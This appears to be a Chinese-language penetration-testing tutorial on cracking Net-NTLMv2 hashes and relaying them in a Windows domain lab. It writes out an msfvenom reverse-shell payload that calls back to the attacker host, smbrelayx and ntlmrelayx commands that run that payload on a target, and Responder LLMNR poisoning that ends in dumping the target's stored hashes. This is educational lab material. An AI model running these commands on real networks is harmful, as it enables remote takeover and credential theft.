一、前言
在前两篇文章中分析了NTLM协议中Net-NTLMv2 Hash的生成、如何捕获Net-NTLMv2 Hash,现在就来探讨一下在内网环境中,如何利用Net-NTLMv2 Hash进行渗透。
二、Net-NTLM Hash的破解
工具:hashcat
原理:利用其内部的字典对Net-NTLMv2 Hash进行爆破。
能不能跑出来就看字典里面有没有了。 在Net-NTLM Hash的破解里面,如果是v1的话,拿到Net-NTLM就相当于拿NTLM HASH这个时候就没有Relay的必要性了;
但是在实际中遇到的例子往往不会是v1,而是v2。这个时候密码强度高一点,基本就跑不出来了,这种情况底下,不妨试一试Relay。
三、利用Net-NTLM Hash进行中间人攻击(Relay)
3.1、原理

中间人攻击:client认为attacker是server端,而server端也以为attacker是client端,attacker在中间起到进行数据转发的作用。
Attacker对type1、type2数据包只做转发,然后当Client发送type3时,Attacker利用自己手中域用户的Net-NTLMv2 Hash构建数据包发送给Server,实现成功登录。
工作组:
NTLM Relay攻击在工作组环境下感觉用处不大,因为工作组只是在一个内网环境中,各个机器并没有明确关系,所以这个时候relay的话需要账号密码相同,但是如果账号密码相同的话,为什么不直接用哈希传递呢?
域:
域环境中的hash都统一存储在域控的NTDS.dit中,如果域内没有限制域用户登录到指定机器,那么就能域用户relay到其他机器或者直接使用域控relay到域机器(域控默认开启smb签名,而其他域机器默认不开启
)
所以我们抓到的Net-NTLMv2 Hash必须是域用户的信息,因为在域环境下域用户登录任意机器时,其的Net-NTLM Hash值是相同的。
3.2、实现方式
实验环境:
client:域控@[email protected]
server1: 域机器@192.168.228.13(win2008)
server2:域机器@192.168.228.40(win10)
attacker:[email protected]
攻击者伪造一个恶意的SMB服务器,当内网中有client访问这个SMB服务器时,smbrelayx.py将抓到client的NET-NTLM-Hash,然后重放给server端进行身份验证。
ntlmrelayx.py是对smbrelayx的改进,支持多种协议进行中继。
ntlmrelayx.py脚本可以直接用现有的 hash 去尝试重放指定的机器。
①
生成一个msf远控木马:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.228.110 LPORT=4444 -f exe > shell.exe
msf设置监听:

②
首先将生成的msf马拖到smbrelayx.py同目录下
python3 smbrelayx.py -h 192.168.228.13 -e ./shell.exe (-e选项在目标主机上传并运行payload,这里在server1(域机器)上线木马)

③
在域控上访问恶意的SMB服务器(attacker:[email protected])

④
smbrelayx.py拿到了当前用户的NET-NTLM-Hash(域用户)
msf获得了192.168.228.13(server1(域机器))的会话

⑤
responder -I eth0 -r -d -v 开启毒化
python3 ntlmrelayx.py -t smb://192.168.228.40(server2(域机器))

⑥
在域控资源管理器的地址栏中输入\\bbb时,系统会尝试连接主机"bbbbb"。首先它会检查本地host文件,然后检查DNS,如果都不存在,就会通过LLMNR协议进行多播,在局域网中进行搜索。此时可以在攻击机上看到Responder的响应,然后受害者的Windows机器会向攻击者进行身份验证。

⑦
responder开启毒化后将身份验证所需的NET-NTLM-Hash传到192.168.228.40(server2(域机器)),在server端进行验证。
Relay成功后这个脚本重放了445并执行了dumphash的命令,由于是域管用户,所以将server2(域机器)端存储的所有hash都dump出来了。
